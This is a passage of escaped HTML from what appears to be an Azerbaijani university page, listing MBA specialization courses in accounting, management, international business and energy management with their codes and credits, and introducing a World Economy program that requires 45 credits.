mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ACC 880</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Mühasibat uçotunda mütərəqqi mövzular</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 880</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Mühasibat uçotu və maliyyə təhlili</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" style=\"\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Menecment</strong></p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\" style=\"\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Aşağıdakı fənlərdən beşi seçilməlidir:</strong></p>\r\n  </td>\r\n  <td width=\"12%\" style=\"\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">IB 820</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq biznes</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 825</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Menecment və qarşılıqlı beynəlxalq idarəetmə mühiti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 835</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Sahibkarlıq və biznes</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 845</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">İnsan qaynaqlarının idarə edilməsi</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 848</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Liderlik, hakimiyyət və idarəetmə siyasəti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 855</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Korporativ qərarların qəbul edilməsi və modelləşdirilməsi</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 890</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Qlobal təchizat və istehsal şəbəkəsinin&nbsp; menecmenti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\" colspan=\"3\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"226\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:12.65pt\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"3\"></td>\r\n  <td width=\"334\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:12.65pt\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"71\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:12.65pt\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"88\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:12.65pt\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Beynəlxalq Biznes</strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"96%\" style=\"\" width:96.0%;margin-left:5.4pt;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"87%\" colspan=\"2\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Aşağıdakı fənlərdən beşi seçilməlidir:</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">IB 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Müqayisəli biznes sistemləri</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">LAW 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq biznes hüququ</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">IB 820</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq biznes</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">IB 825</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq biznes mühiti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 825</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Menecment və qarşılıqlı beynəlxalq idarəetmə mühiti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq maliyyə</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MKT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq marketinq</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 890</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Qlobal təchizat və istehsal şəbəkəsinin&nbsp; menecmenti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Enerji menecmenti</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Aşağıdakı fənlərdən beşi seçilməlidir:</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>EMGT 830</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Enerji texnologiyaları və mühit</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>EMGT 810</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Enerji iqtisadiyyatı</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>EMGT 815</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Qlobal enerji təhlükəsizliyi və enerji geo-\r\n  siyasəti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>EMGT 860</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Enerji layihələri,&nbsp;təchizat və istehsal şəbəkələrinin&nbsp; menecmenti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>EMGT 820</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Ətraf mühitin menecmenti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>EMGT 825</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Enerji resurslarının menecmenti</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>EMGT 835</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Xəzər dənizinin enerji resursları və\r\n  Xəzəryanı ölkələrin sosial inkişafı</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>Ümumi&nbsp; MBA</strong></p>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>( Biznesin idarə edilməsi)</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">İxisaslaşma fənlərinin siyahısından beş\r\n  uyğun fənni seçin</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">15</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\" style=\"\" width:31.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e6e6e6;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>CƏMİ</strong></p>\r\n  </td>\r\n  <td width=\"56%\" style=\"\" width:56.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e6e6e6;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"12%\" style=\"\" width:12.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e6e6e6;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>45</strong></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;line-height:normal\"\"=\"\">QEYD: Fakültə digər alternativ fənlər təklif\r\nedə bilər.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:14.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Dünya\r\niqtisadiyyatı</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Dünya\r\niqtisadiyyatı&nbsp;</strong>proqramı iqtisadi təhlil, onun\r\ninkişafı və proqnozlaşdırılması, beynəlxalq ticarət və maliyyə problemlərinin\r\nqlobal inkişaf baxımından təhlilinə və makro səviyyədə uyğun idarəetmə\r\nqərarlarının qəbul edilməsinə dair biliklər aşılayır. Tələbələr müxtəlif biznes\r\nmühitində qərarların qəbul edilməsi üçün lazım olan bilikləri əldə edir,\r\niqtisadi nəzəriyyəni və kəmiyyət üsullarını ətraflı öyrənirlər.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Proqramı\r\nbitirmək üçün tələbə 45 kredit toplamalıdır.</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"544\" style=\"\" width:407.8pt;margin-left:5.4pt;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"156\" style=\"\" width:117.0pt;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>CODE</strong></p>\r\n  </td>\r\n  <td width=\"266\" style=\"\" width:199.35pt;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>COURSES</strong></p>\r\n  </td>\r\n  <td style=\"\" border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>CREDITS</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\" style=\"\" width:117.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:22.3pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"266\" style=\"\" width:199.35pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:22.3pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" 